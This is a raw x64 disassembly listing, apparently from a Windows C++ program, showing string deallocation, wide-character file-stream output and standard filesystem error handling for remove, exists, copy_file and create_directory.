xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x140037d70
mov rdx, r13
lea rcx, [rsp + 0x230]
call fcn.140012310
nop
lea r8, [rsp + 0x230]
cmp qword [rsp + 0x248], 0xf
seta r9b
cmova r8, qword [rsp + 0x230]
add r8, qword [rsp + 0x240]
lea rdx, [rsp + 0x230]
test r9b, r9b
cmovne rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x3a8]
call fcn.14005d8e0
bts edi, 0xe
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x248]
cmp rdx, 0xf
jbe 0x140037e1d
inc rdx
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037e18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a2c
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x230], 0
mov rax, qword [rsp + 0x88]
cmp byte [rax], 0x31
jne 0x140037e50
cmp byte [rax + 1], 0
jne 0x140037e50
mov eax, ebx
jmp 0x140037e55
sbb eax, eax
or eax, 1
lea rdx, str.TRUE
test eax, eax
lea r14, str.FALSE
cmovne rdx, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140037e90
lea rcx, [rsp + 0x330]
call fcn.140025e20
nop
mov rax, qword [rsp + 0x98]
cmp byte [rax], 0x31
jne 0x140037ec0
cmp byte [rax + 1], 0
jne 0x140037ec0
mov eax, ebx
jmp 0x140037ec5
sbb eax, eax
or eax, 1
lea rdx, str.TRUE
test eax, eax
cmovne rdx, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x140037ef4
lea rcx, [rsp + 0x310]
call fcn.140025e20
nop
lea rdx, [rsp + 0x408]
cmp qword [rsp + 0x420], 7
cmova rdx, qword [rsp + 0x408]
mov r8, qword [rsp + 0x418]
lea rcx, [rsp + 0x490]
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x330]
cmp qword [rsp + 0x348], 7
cmova rdx, qword [rsp + 0x330]
mov r8, qword [rsp + 0x340]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x468]
cmp qword [rsp + 0x480], 7
cmova rdx, qword [rsp + 0x468]
mov r8, qword [rsp + 0x478]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x310]
cmp qword [rsp + 0x328], 7
cmova rdx, qword [rsp + 0x310]
mov r8, qword [rsp + 0x320]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x3c8]
cmp qword [rsp + 0x3e0], 7
cmova rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d8]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x3e8]
cmp qword [rsp + 0x400], 7
cmova rdx, qword [rsp + 0x3e8]
mov r8, qword [rsp + 0x3f8]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x3a8]
cmp qword [rsp + 0x3c0], 7
cmova rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b8]
mov rcx, rax
call fcn.140074b50
mov rcx, rax
call fcn.14005d000
lea rcx, [rsp + 0x498]
call fcn.14004db90
test rax, rax
jne 0x1400380ee
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x4d8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0x4a0]
and eax, 0x17
mov dword [rsp + rcx + 0x4a0], eax
mov edx, dword [rsp + rcx + 0x4a4]
and edx, eax
jne 0x140038a32
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x140038136
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038131
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a8f
call fcn.140260e60
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x348]
cmp rdx, 7
jbe 0x14003819a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038195
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a95
call fcn.140260e60
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], 7
mov word [rsp + 0x330], bx
mov rdx, qword [rsp + 0x3c0]
cmp rdx, 7
jbe 0x1400381fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400381f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a9b
call fcn.140260e60
mov qword [rsp + 0x3b8], rbx
mov qword [rsp + 0x3c0], 7
mov word [rsp + 0x3a8], bx
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 7
jbe 0x140038262
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003825d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038aa1
call fcn.140260e60
mov qword [rsp + 0x3d8], rbx
mov qword [rsp + 0x3e0], 7
mov word [rsp + 0x3c8], bx
mov rdx, qword [rsp + 0x480]
cmp rdx, 7
jbe 0x1400382c6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x468]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400382c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038aa7
call fcn.140260e60
mov qword [rsp + 0x478], rbx
mov qword [rsp + 0x480], 7
mov word [rsp + 0x468], bx
mov rdx, qword [rsp + 0x400]
cmp rdx, 7
jbe 0x14003832a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038325
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038aad
call fcn.140260e60
mov qword [rsp + 0x3f8], rbx
mov qword [rsp + 0x400], 7
mov word [rsp + 0x3e8], bx
mov rdx, qword [rsp + 0x420]
cmp rdx, 7
jbe 0x14003838e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038389
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038ab3
call fcn.140260e60
mov qword [rsp + 0x418], rbx
mov qword [rsp + 0x420], 7
mov word [rsp + 0x408], bx
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x490], r14
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x48c], edx
lea rcx, [rsp + 0x498]
call fcn.1400429e0
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x490], rax
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x48c], edx
lea r12, vtable.std::ios_base.0
mov qword [rsp + 0x538], r12
lea rcx, [rsp + 0x538]
call fcn.1402451c4
nop
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x140038481
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003847c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038ab9
call fcn.140260e60
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], 7
mov word [rsp + 0x350], bx
mov rdx, qword [rsp + 0x388]
cmp rdx, 7
jbe 0x1400384e5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400384e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038abf
call fcn.140260e60
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x388], 7
mov word [rsp + 0x370], bx
mov rdx, qword [rsp + 0x440]
cmp rdx, 7
jbe 0x14003854a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x428]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038ac5
call fcn.140260e60
nop
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x140038592
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003858d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038acb
call fcn.140260e60
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], 7
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x1400385f2
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400385ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038ad1
call fcn.140260e60
nop
mov rsi, qword [rsp + 0x78]
mov r15d, 2
lea r14, str.Xa_
jmp 0x140037110
mov rcx, qword [rsp + 0x218]
call fcn.140167240
mov rcx, qword [rsp + 0x220]
call fcn.1401813e0
mov r8d, 3
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x1d0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x190], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xf0], ecx
mov qword [rsp + 0xf8], r14
movaps xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x230], xmm0
mov eax, dword [rsp + 0x190]
test eax, eax
je 0x1400386c9
cmp eax, 1
je 0x1400386d1
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
call fcn.1402427a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140038ad7
jmp 0x1400386d1
test ecx, ecx
jne 0x140038af0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140038719
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b0d
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x140038779
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038773
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b13
call fcn.140260e60
nop
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x1400387c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400387bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b36
call fcn.140260e60
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140038820
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003881b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b3c
call fcn.140260e60
add rsi, 0x20
jmp 0x140036840
test ecx, ecx
jne 0x140038b19
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x140038879
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038874
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b36
call fcn.140260e60
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140038820
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003881b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b3c
jmp 0x14003881b
lea rcx, [rsp + 0x390]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x460]
cmp rdx, 7
jbe 0x140036ec0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x448]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036ebb
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
shr rdx, 0x20
lea r8, [rsp + 0x250]
lea rcx, str.remove
call fcn.140008bb0
int3
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x230]
lea rcx, str.exists
call fcn.140008ca0
int3
shr rdx, 0x20
lea r9, [rsp + 0x250]
lea r8, [rsp + 0x270]
lea rcx, str.copy_file
call fcn.140008c20
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
call fcn.14027d5c0
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x230]
lea rcx, str.exists
call fcn.140008ca0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
lea rcx, str.create_directory
call fcn.140008bb0
nop
call fcn.14027d5c0
int3
call fcn.140051fd0
nop
call fcn.140003620
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
test dl, 4
je 0x140038a40
lea rbx, str.ios_base::badbit_set
jmp 0x140038a55
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x1e0]
call fcn.140003a00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x1f0]
call fcn.140005450
lea rdx, [0x14033e918]
lea rcx, [rsp + 0x1f0]
call fcn.140263268
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
shr rdx, 0x20
lea r8, [rsp + 0x250]
lea rcx, str.remove
call fcn.140008bb0
int3
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x230]
lea rcx, str.exists
call fcn.140008ca0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
lea r8, [rsp + 0x270]
lea rdx, [rsp + 0x230]
lea rcx, str.exists
call fcn.140008ca0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3